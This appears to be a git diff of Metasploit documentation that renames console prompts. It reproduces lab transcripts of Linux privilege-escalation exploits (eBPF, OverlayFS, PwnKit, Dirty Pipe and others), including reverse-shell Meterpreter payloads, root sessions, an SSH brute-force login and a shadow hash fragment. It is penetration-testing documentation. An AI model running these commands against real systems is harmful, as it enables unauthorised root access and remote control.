exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set SESSION 1 SESSION => 1 -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > check +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > check [*] The target appears to be vulnerable. -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit [*] Started reverse TCP handler on 192.168.224.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -600,7 +600,7 @@ msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit [*] Meterpreter session 2 opened (192.168.224.128:4444 -> 192.168.224.223:54884) at 2021-08-20 13:33:38 -0500 ^C[-] Exploit failed [user-interrupt]: Interrupt [-] exploit: Interrupted -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions Active sessions =============== @@ -612,7 +612,7 @@ Active sessions 2 meterpreter x64/linux root @ localhost.localdomain (uid=0, gid=0, e 192.168.224.128:4444 -> 192.168.224.223:54884 uid=0, egid=0) @ localhost.local... (192.168.224.223) -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions -i 2 +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions -i 2 [*] Starting interaction with 2... meterpreter > getuid @@ -673,13 +673,13 @@ test:$6$qUS1ahlM0hqfNoyO$TZO8sUu1btvp4XRhqjy4Cetjm1LZ3DOWZDqfx8OPfB4QXjmiK5EPQmB ### Fedora 32 with Linux Kernel 5.8.8-200 ``` -msf6 > use multi/handler +msf > use multi/handler s[*] Using configured payload generic/shell_reverse_tcp -msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp +msf exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp payload => linux/x64/meterpreter/bind_tcp -msf6 exploit(multi/handler) > set RHOST 192.168.224.223 +msf exploit(multi/handler) > set RHOST 192.168.224.223 RHOST => 192.168.224.223 -msf6 exploit(multi/handler) > run +msf exploit(multi/handler) > run [*] Started bind TCP handler against 192.168.224.223:4444 [*] Sending stage (3012548 bytes) to 192.168.224.223 @@ -689,11 +689,11 @@ meterpreter > getuid Server username: test @ localhost.localdomain (uid=1000, gid=1000, euid=1000, egid=1000) meterpreter > background [*] Backgrounding session 1... -smsf6 exploit(multi/handler) >use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe +smsf exploit(multi/handler) >use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set SESSION 1 +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set SESSION 1 SESSION => 1 -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options Module options (exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe): @@ -718,9 +718,9 @@ Exploit target: 0 Auto -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > check +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > check [*] The target appears to be vulnerable. -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit [*] Started reverse TCP handler on 192.168.224.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -737,7 +737,7 @@ msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit [*] Meterpreter session 2 opened (192.168.224.128:4444 -> 192.168.224.223:37368) at 2021-08-20 14:47:44 -0500 ^C[-] Exploit failed [user-interrupt]: Interrupt [-] exploit: Interrupted -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions Active sessions =============== @@ -749,7 +749,7 @@ Active sessions 2 meterpreter x64/linux root @ localhost.localdomain (uid=0, gid=0, e 192.168.224.128:4444 -> 192.168.224.223:37368 uid=0, egid=0) @ localhost.local... (192.168.224.223) -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions -i 2 +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions -i 2 [*] Starting interaction with 2... meterpreter > shell @@ -764,11 +764,11 @@ Linux localhost.localdomain 5.8.8-200.fc32.x86_64 #1 SMP Wed Sep 9 19:31:09 UTC ### Fedora 32 Linux Kernel 5.9.8-100 ``` -msf6 exploit(multi/handler) > use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe +msf exploit(multi/handler) > use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set session 1 +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set session 1 session => 1 -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options Module options (exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe): @@ -793,11 +793,11 @@ Exploit target: 0 Auto -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > check +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > check [*] The target appears to be vulnerable. -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set VERBOSE true +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set VERBOSE true VERBOSE => true -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit [*] Started reverse TCP handler on 192.168.224.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -828,7 +828,7 @@ BuildTuple : x86_64-linux-musl Meterpreter : x64/linux meterpreter > background [*] Backgrounding session 2... -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions Active sessions =============== @@ -840,12 +840,12 @@ Active sessions 2 meterpreter x64/linux root @ localhost.localdomain (uid=0, gid=0, e 192.168.224.128:4444 -> 192.168.224.223:60752 uid=0, egid=0) @ localhost.local... (192.168.224.223) -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > ``` ### Fedora 32 Linux Kernel 5.10.12-100 ``` -msf6 exploit(multi/handler) > exploit +msf exploit(multi/handler) > exploit [*] Started bind TCP handler against 192.168.224.223:4444 [*] Sending stage (3012548 bytes) to 192.168.224.223 @@ -859,9 +859,9 @@ BuildTuple : x86_64-linux-musl Meterpreter : x64/linux meterpreter > background [*] Backgrounding session 1... -msf6 exploit(multi/handler) > use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe +msf exploit(multi/handler) > use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options Module options (exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe): @@ -886,9 +886,9 @@ Exploit target: 0 Auto -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set SESSION 1 +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set SESSION 1 SESSION => 1 -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options Module options (exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe): @@ -912,7 +912,7 @@ Exploit target: 0 Auto -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit [*] Started reverse TCP handler on 192.168.224.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -929,7 +929,7 @@ msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit [*] Meterpreter session 2 opened (192.168.224.128:4444 -> 192.168.224.223:53154) at 2021-08-20 18:02:58 -0500 ^C[-] Exploit failed [user-interrupt]: Interrupt [-] exploit: Interrupted -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions -i 2 +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions -i 2 [*] Starting interaction with 2... meterpreter > getuid @@ -942,7 +942,7 @@ BuildTuple : x86_64-linux-musl Meterpreter : x64/linux meterpreter > background [*] Backgrounding session 2... -semsf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions +semsf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions Active sessions =============== @@ -954,12 +954,12 @@ Active sessions 2 meterpreter x64/linux root @ localhost.localdomain (uid=0, gid=0, e 192.168.224.128:4444 -> 192.168.224.223:53154 uid=0, egid=0) @ localhost.local... (192.168.224.223) -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > ``` ### Fedora 34 with Linux Kernel 5.11.12-300 ``` -msf6 > sessions +msf > sessions Active sessions =============== @@ -969,13 +969,13 @@ Active sessions 1 meterpreter x64/linux test @ fedora (uid=1000, gid=1000, euid=1000, 192.168.224.128:43029 -> 192.168.224.224:4444 egid=1000) @ fedora.local (192.168.224.224) -msf6 > use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe +msf > use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set SESSION 1 +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set SESSION 1 SESSION => 1 -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set LPORT 6644 +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set LPORT 6644 LPORT => 6644 -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options Module options (exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe): @@ -1000,9 +1000,9 @@ Exploit target: 0 Auto -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set VERBOSE true +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set VERBOSE true VERBOSE => true -msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit +msf exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit [*] Started reverse TCP handler on 192.168.224.128:6644 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/local/cve_2021_3493_overlayfs.md b/documentation/modules/exploit/linux/local/cve_2021_3493_overlayfs.md index 2539cad9eff6a..c5e57b91cb71f 100644 --- a/documentation/modules/exploit/linux/local/cve_2021_3493_overlayfs.md +++ b/documentation/modules/exploit/linux/local/cve_2021_3493_overlayfs.md @@ -42,11 +42,11 @@ The default value is `/tmp` ### Ubuntu 20.04.0 x64 ``` -msf6 exploit(linux/local/cve_2021_3493_overlayfs) > +msf exploit(linux/local/cve_2021_3493_overlayfs) > [*] Sending stage (3012548 bytes) to 192.168.132.138 [*] Meterpreter session 9 opened (192.168.135.197:4567 -> 192.168.132.138:47988 ) at 2021-11-09 11:34:44 -0600 -msf6 exploit(linux/local/cve_2021_3493_overlayfs) > sessions -i 9 +msf exploit(linux/local/cve_2021_3493_overlayfs) > sessions -i 9 [*] Starting interaction with 9... meterpreter > sysinfo @@ -59,9 +59,9 @@ meterpreter > getuid Server username: msfuser meterpreter > background [*] Backgrounding session 9... -msf6 exploit(linux/local/cve_2021_3493_overlayfs) > set session 9 +msf exploit(linux/local/cve_2021_3493_overlayfs) > set session 9 session => 9 -msf6 exploit(linux/local/cve_2021_3493_overlayfs) > run +msf exploit(linux/local/cve_2021_3493_overlayfs) > run [*] Started reverse TCP handler on 192.168.135.197:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/local/cve_2021_38648_omigod.md b/documentation/modules/exploit/linux/local/cve_2021_38648_omigod.md index 34de7873d5b50..5df1404b493fe 100644 --- a/documentation/modules/exploit/linux/local/cve_2021_38648_omigod.md +++ b/documentation/modules/exploit/linux/local/cve_2021_38648_omigod.md @@ -37,26 +37,26 @@ left blank, it will be determined at runtime. ### Ubuntu 20.04 x64, OMI v1.6.8, SCX v1.6.6 ``` -msf6 > sessions -i -1 +msf > sessions -i -1 [*] Starting interaction with 1... meterpreter > getuid Server username: smcintyre meterpreter > background [*] Backgrounding session 1... -msf6 > use exploit/linux/local/cve_2021_38648_omigod +msf > use exploit/linux/local/cve_2021_38648_omigod [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/local/cve_2021_38648_omigod) > set TARGET Linux\ Dropper +msf exploit(linux/local/cve_2021_38648_omigod) > set TARGET Linux\ Dropper TARGET => Linux Dropper -msf6 exploit(linux/local/cve_2021_38648_omigod) > set PAYLOAD linux/x64/meterpreter/reverse_tcp +msf exploit(linux/local/cve_2021_38648_omigod) > set PAYLOAD linux/x64/meterpreter/reverse_tcp PAYLOAD => linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/local/cve_2021_38648_omigod) > set LHOST 192.168.159.128 +msf exploit(linux/local/cve_2021_38648_omigod) > set LHOST 192.168.159.128 LHOST => 192.168.159.128 -msf6 exploit(linux/local/cve_2021_38648_omigod) > set SESSION 1 +msf exploit(linux/local/cve_2021_38648_omigod) > set SESSION 1 SESSION => 1 -msf6 exploit(linux/local/cve_2021_38648_omigod) > check +msf exploit(linux/local/cve_2021_38648_omigod) > check [*] The target appears to be vulnerable. Version 1.6.8-0 is affected. -msf6 exploit(linux/local/cve_2021_38648_omigod) > exploit +msf exploit(linux/local/cve_2021_38648_omigod) > exploit [*] Started reverse TCP handler on 192.168.159.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.md b/documentation/modules/exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.md index 09a1a66ea897d..e1e380c8f2fb2 100644 --- a/documentation/modules/exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.md +++ b/documentation/modules/exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.md @@ -69,7 +69,7 @@ the exploit will fail. I don't know why, but it still fails with SELinux disabl original PoCs that compiled a binary on target. The check method just bails if it sees Fedora. ``` -msf6 payload(linux/x64/meterpreter/reverse_tcp) > sessions -i -1 +msf payload(linux/x64/meterpreter/reverse_tcp) > sessions -i -1 [*] Starting interaction with 1... meterpreter > sysinfo @@ -88,18 +88,18 @@ SELinux status: disabled exit meterpreter > background [*] Backgrounding session 1... -msf6 payload(linux/x64/meterpreter/reverse_tcp) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec +msf payload(linux/x64/meterpreter/reverse_tcp) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 1 +msf exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 1 session => 1 -msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set verbose true +msf exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set verbose true verbose => true -msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set auto +msf exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set auto set autocheck set autorunscript set autounhookprocess set autoloadstdapi set autosysteminfo set autoverifysessiontimeout -msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set autoCheck false +msf exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set autoCheck false autoCheck => false -msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > check +msf exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > check [!] SESSION may not be compatible with this module: [!] * missing Meterpreter features: stdapi_railgun_api @@ -108,7 +108,7 @@ msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > check [*] Found pkexec here: /usr/bin/pkexec [*] Found pkexec version 0.117 [*] The target is not exploitable. Fedora is not supported -msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run +msf exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run [!] SESSION may not be compatible with this module: [!] * missing Meterpreter features: stdapi_railgun_api @@ -239,7 +239,7 @@ It defaults to `/` ## Scenarios ``` -msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > show options +msf exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > show options Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec): @@ -265,7 +265,7 @@ Exploit target: 0 x86_64 -msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run +msf exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run [!] SESSION may not be compatible with this module: [!] * missing Meterpreter features: stdapi_railgun_api diff --git a/documentation/modules/exploit/linux/local/cve_2022_0847_dirtypipe.md b/documentation/modules/exploit/linux/local/cve_2022_0847_dirtypipe.md index ca821a44feb96..c70914c0063cb 100644 --- a/documentation/modules/exploit/linux/local/cve_2022_0847_dirtypipe.md +++ b/documentation/modules/exploit/linux/local/cve_2022_0847_dirtypipe.md @@ -39,7 +39,7 @@ The default value is `/bin/passwd`, which should be present on most Linux distri ### Ubuntu 20.10 x64, Kernel Linux 5.8.0-25-generic ``` -msf6 exploit(multi/handler) > run +msf exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.140.1:4444 [*] Sending stage (3020772 bytes) to 192.168.140.139 @@ -55,13 +55,13 @@ BuildTuple : x86_64-linux-musl Meterpreter : x64/linux meterpreter > background [*] Backgrounding session 1... -msf6 exploit(multi/handler) > use exploit/linux/local/cve_2022_0847_dirtypipe +msf exploit(multi/handler) > use exploit/linux/local/cve_2022_0847_dirtypipe [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > set session 1 +msf exploit(linux/local/cve_2022_0847_dirtypipe) > set session 1 session => 1 -msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > set lhost 192.168.140.1 +msf exploit(linux/local/cve_2022_0847_dirtypipe) > set lhost 192.168.140.1 lhost => 192.168.140.1 -msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > run +msf exploit(linux/local/cve_2022_0847_dirtypipe) > run [!] SESSION may not be compatible with this module: [!] * missing Meterpreter features: stdapi_railgun_api diff --git a/documentation/modules/exploit/linux/local/cve_2022_0995_watch_queue.md b/documentation/modules/exploit/linux/local/cve_2022_0995_watch_queue.md index 0e0f49950d98a..a157fed4c5ae9 100644 --- a/documentation/modules/exploit/linux/local/cve_2022_0995_watch_queue.md +++ b/documentation/modules/exploit/linux/local/cve_2022_0995_watch_queue.md @@ -54,12 +54,12 @@ The default value is `/tmp` ### Ubuntu 21.10 x64 With Linux 5.13.0.37-Generic ``` -msf6 payload(linux/x64/meterpreter/reverse_tcp) > +msf payload(linux/x64/meterpreter/reverse_tcp) > [*] Started reverse TCP handler on 10.5.135.101:4567 [*] Sending stage (3020772 bytes) to 10.5.134.157 [*] Meterpreter session 1 opened (10.5.135.101:4567 -> 10.5.134.157:34614 ) at 2022-04-12 21:04:39 -0500 -msf6 payload(linux/x64/meterpreter/reverse_tcp) > sessions -i -1 +msf payload(linux/x64/meterpreter/reverse_tcp) > sessions -i -1 [*] Starting interaction with 1... meterpreter > sysinfo @@ -72,9 +72,9 @@ meterpreter > getuid Server username: msfuser meterpreter > background [*] Backgrounding session 1... -msf6 payload(linux/x64/meterpreter/reverse_tcp) > use exploit/linux/local/cve_2022_0995_watch_queue +msf payload(linux/x64/meterpreter/reverse_tcp) > use exploit/linux/local/cve_2022_0995_watch_queue [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/local/cve_2022_0995_watch_queue) > show options +msf exploit(linux/local/cve_2022_0995_watch_queue) > show options Module options (exploit/linux/local/cve_2022_0995_watch_queue): @@ -100,11 +100,11 @@ Exploit target: 0 Ubuntu Linux 5.13.0-37 -msf6 exploit(linux/local/cve_2022_0995_watch_queue) > set session 1 +msf exploit(linux/local/cve_2022_0995_watch_queue) > set session 1 session => 1 -msf6 exploit(linux/local/cve_2022_0995_watch_queue) > set verbose true +msf exploit(linux/local/cve_2022_0995_watch_queue) > set verbose true verbose => true -msf6 exploit(linux/local/cve_2022_0995_watch_queue) > run +msf exploit(linux/local/cve_2022_0995_watch_queue) > run [!] SESSION may not be compatible with this module: [!] * missing Meterpreter features: stdapi_railgun_api diff --git a/documentation/modules/exploit/linux/local/cve_2022_1043_io_uring_priv_esc.md b/documentation/modules/exploit/linux/local/cve_2022_1043_io_uring_priv_esc.md index 43b1544cc7cef..e8aee9ef78901 100644 --- a/documentation/modules/exploit/linux/local/cve_2022_1043_io_uring_priv_esc.md +++ b/documentation/modules/exploit/linux/local/cve_2022_1043_io_uring_priv_esc.md @@ -52,20 +52,20 @@ To install a vulnerable kernel on Ubuntu 22.04.01, follow these instructions: Gain initial user access ``` -msf6 > use auxiliary/scanner/ssh/ssh_login -msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 1.1.1.1 +msf > use auxiliary/scanner/ssh/ssh_login +msf auxiliary(scanner/ssh/ssh_login) > set rhosts 1.1.1.1 rhosts => 1.1.1.1 -msf6 auxiliary(scanner/ssh/ssh_login) > set username ubuntu +msf auxiliary(scanner/ssh/ssh_login) > set username ubuntu username => ubuntu -msf6 auxiliary(scanner/ssh/ssh_login) > set password ubuntu +msf auxiliary(scanner/ssh/ssh_login) > set password ubuntu password => ubuntu -msf6 auxiliary(scanner/ssh/ssh_login) > run +msf auxiliary(scanner/ssh/ssh_login) > run [*] 1.1.1.1:22 - Starting bruteforce [+] 1.1.1.1:22 - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd) Linux ubuntu2204 5.13.12-051312-generic #202108180838 SMP Wed Aug 18 08:41:42 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux ' [*] SSH session 1 opened (2.2.2.2:40003 -> 1.1.1.1:22) at 2022-11-25 08:47:08 -0500 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i 1 +msf auxiliary(scanner/ssh/ssh_login) > sessions -i 1 [*] Starting interaction with 1... id uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd) @@ -76,13 +76,13 @@ Background session 1? [y/N] y priv esc ``` -msf6 auxiliary(scanner/ssh/ssh_login) > use linux/local/cve_2022_1043_io_uring_priv_esc +msf auxiliary(scanner/ssh/ssh_login) > use linux/local/cve_2022_1043_io_uring_priv_esc [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/local/cve_2022_1043_io_uring_priv_esc) > set session 1 +msf exploit(linux/local/cve_2022_1043_io_uring_priv_esc) > set session 1 session => 1 -msf6 exploit(linux/local/cve_2022_1043_io_uring_priv_esc) > set verbose true +msf exploit(linux/local/cve_2022_1043_io_uring_priv_esc) > set verbose true verbose => true -msf6 exploit(linux/local/cve_2022_1043_io_uring_priv_esc) > exploit +msf exploit(linux/local/cve_2022_1043_io_uring_priv_esc) > exploit [!] SESSION may not be compatible with this module: [!] * incompatible session architecture: [*] Started reverse TCP handler on 2.2.2.2:4444 diff --git a/documentation/modules/exploit/linux/local/cve_2023_0386_overlayfs_priv_esc.md b/documentation/modules/exploit/linux/local/cve_2023_0386_overlayfs_priv_esc.md index 944ec0f345975..3477601ab3edc 100644 --- a/documentation/modules/exploit/linux/local/cve_2023_0386_overlayfs_priv_esc.md +++ b/documentation/modules/exploit/linux/local/cve_2023_0386_overlayfs_priv_esc.md @@ -64,9 +64,9 @@ The default value is `/tmp` ## Scenarios ### Ubuntu 6.0.19-060019-generic x64/amd64 COMPILE=Auto ``` -msf6 > use exploit/multi/handler +msf > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp -msf6 exploit(multi/handler) > run lhost=192.168.56.1 lport=4444 payload=linux/x64/meterpreter/reverse_tcp +msf exploit(multi/handler) > run lhost=192.168.56.1 lport=4444 payload=linux/x64/meterpreter/reverse_tcp [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Sending stage (3045380 bytes) to 192.168.56.10 @@ -76,9 +76,9 @@ meterpreter > getuid Server username: ubu meterpreter > background [*] Backgrounding session 1... -msf6 exploit(multi/handler) > use exploit/linux/local/cve_2023_0386_overlayfs_priv_esc +msf exploit(multi/handler) > use exploit/linux/local/cve_2023_0386_overlayfs_priv_esc [*] Using configured payload linux/x64/meterpreter_reverse_tcp -msf6 exploit(linux/local/cve_2023_0386_overlayfs_priv_esc) > run session=1 lhost=192.168.56.1 COMPILE=Auto +msf exploit(linux/local/cve_2023_0386_overlayfs_priv_esc) > run session=1 lhost=192.168.56.1 COMPILE=Auto [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -101,7 +101,7 @@ Meterpreter : x64/linux ### Ubuntu 6.0.19-060019-generic x64/amd64 COMPILE=True ``` -msf6 exploit(linux/local/cve_2023_0386_overlayfs_priv_esc) > run session=1 lhost=192.168.56.1 COMPILE=True +msf exploit(linux/local/cve_2023_0386_overlayfs_priv_esc) > run session=1 lhost=192.168.56.1 COMPILE=True [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -124,7 +124,7 @@ Meterpreter : x64/linux ### Ubuntu 6.0.19-060019-generic x64/amd64 COMPILE=False ``` -msf6 exploit(linux/local/cve_2023_0386_overlayfs_priv_esc) > run session=1 lhost=192.168.56.1 COMPILE=False +msf exploit(linux/local/cve_2023_0386_overlayfs_priv_esc) > run session=1 lhost=192.168.56.1 COMPILE=False [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/local/diamorphine_rootkit_signal_priv_esc.md b/documentation/modules/exploit/linux/local/diamorphine_rootkit_signal_priv_esc.md index 075d75602c2a8..e638123992c5f 100644 --- a/documentation/modules/exploit/linux/local/diamorphine_rootkit_signal_priv_esc.md +++ b/documentation/modules/exploit/linux/local/diamorphine_rootkit_signal_priv_esc.md @@ -32,17 +32,17 @@ ### Linux Mint 19 (x64) ``` - msf5 > use exploit/linux/local/diamorphine_rootkit_signal_priv_esc - msf5 exploit(linux/local/diamorphine_rootkit_signal_priv_esc) > set session 1 + msf > use exploit/linux/local/diamorphine_rootkit_signal_priv_esc + msf exploit(linux/local/diamorphine_rootkit_signal_priv_esc) > set session 1 session => 1 - msf5 exploit(linux/local/diamorphine_rootkit_signal_priv_esc) > set verbose true + msf exploit(linux/local/diamorphine_rootkit_signal_priv_esc) > set verbose true verbose => true - msf5 exploit(linux/local/diamorphine_rootkit_signal_priv_esc) > check + msf exploit(linux/local/diamorphine_rootkit_signal_priv_esc) > check [*] Executing id ... uid=0(root) gid=0(root) groups=0(root),1001(test) [+] The target is vulnerable. Diamorphine is installed and configured to handle signal '64'. - msf5 exploit(linux/local/diamorphine_rootkit_signal_priv_esc) > run + msf exploit(linux/local/diamorphine_rootkit_signal_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.165:4444 [*] Executing id ... diff --git a/documentation/modules/exploit/linux/local/docker_priviledged_container_escape.md b/documentation/modules/exploit/linux/local/docker_priviledged_container_escape.md index 13bcef4afc37c..b81e018187e25 100644 --- a/documentation/modules/exploit/linux/local/docker_priviledged_container_escape.md +++ b/documentation/modules/exploit/linux/local/docker_priviledged_container_escape.md @@ -65,10 +65,10 @@ A directory where we can write files on the host (default is /tmp). This is need ## Container Escape starting with a meterpreter shell ``` -msf5 exploit(multi/handler) > use exploit/linux/local/docker_privileged_container_escape -msf5 exploit(linux/local/lxc_privilege_escalation) > set session 1 +msf 